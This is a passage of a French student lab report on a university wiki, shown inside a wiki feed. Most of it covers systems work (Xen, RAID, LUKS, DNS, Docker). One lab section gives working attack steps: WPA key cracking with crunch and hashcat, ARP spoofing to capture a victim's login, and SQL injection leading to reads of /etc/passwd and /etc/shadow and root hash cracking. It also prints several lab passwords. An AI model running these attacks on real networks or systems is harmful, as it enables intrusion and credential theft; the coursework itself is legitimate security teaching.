 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
==== Clés SSH ====&lt;br /&gt;
&lt;br /&gt;
Génération d’une clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Installation de la clef publique sur une cible :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh cible &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
A FINIR&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisé.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55047</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55047"/>
				<updated>2020-12-20T10:42:48Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Configuration de nos serveurs internes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
